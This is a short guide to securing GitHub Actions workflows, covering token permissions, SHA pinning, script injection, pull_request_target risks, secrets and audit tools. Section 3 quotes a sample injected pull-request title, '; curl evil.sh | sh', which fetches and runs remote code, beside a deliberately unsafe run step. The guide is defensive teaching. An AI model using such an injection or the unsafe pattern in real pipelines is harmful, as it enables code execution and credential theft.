Securing GitHub Actions Workflows
CI pipelines hold deploy credentials and write access to your code, which makes them attractive targets. These practices close the most common holes.
1. Least-privilege GITHUB_TOKEN
permissions:
contents: read # default for the whole workflow
jobs:
release:
permissions:
contents: write # only this job can create releases
Also set the repository default to read-only in Settings.
2. Pin third-party actions to a commit SHA
# A tag can be moved to malicious code; a full SHA cannot
- uses: some-org/some-action@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v2.1.0
Tools like Dependabot and Renovate keep pinned SHAs updated, with the version in a comment.
3. Prevent script injection
# Dangerous: a PR title like "; curl evil.sh | sh" becomes part of the script
- run: echo "Checking ${{ github.event.pull_request.title }}"
# Safe: pass untrusted input through an environment variable
- run: echo "Checking $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
Treat issue titles, PR bodies, branch names and commit messages as untrusted input.
4. Be very careful with pull_request_target
pull_request_target runs with secrets and write permissions, even for PRs from forks. Never check out and run the PR's code in such a workflow. Use plain pull_request for building and testing contributions.
5. Protect secrets and deployments
- Use environments with required reviewers for production credentials.
- Use OIDC instead of long-lived cloud keys.
- Don't use self-hosted runners for public repositories; a fork's PR could run code on your machine.
6. Audit regularly
Static analysers such as zizmor and actionlint flag risky patterns in workflow files. Run them in CI on changes to .github/workflows.
Was this article helpful?
Comments
No comments yet. Have a question or a tip? Be the first to share it.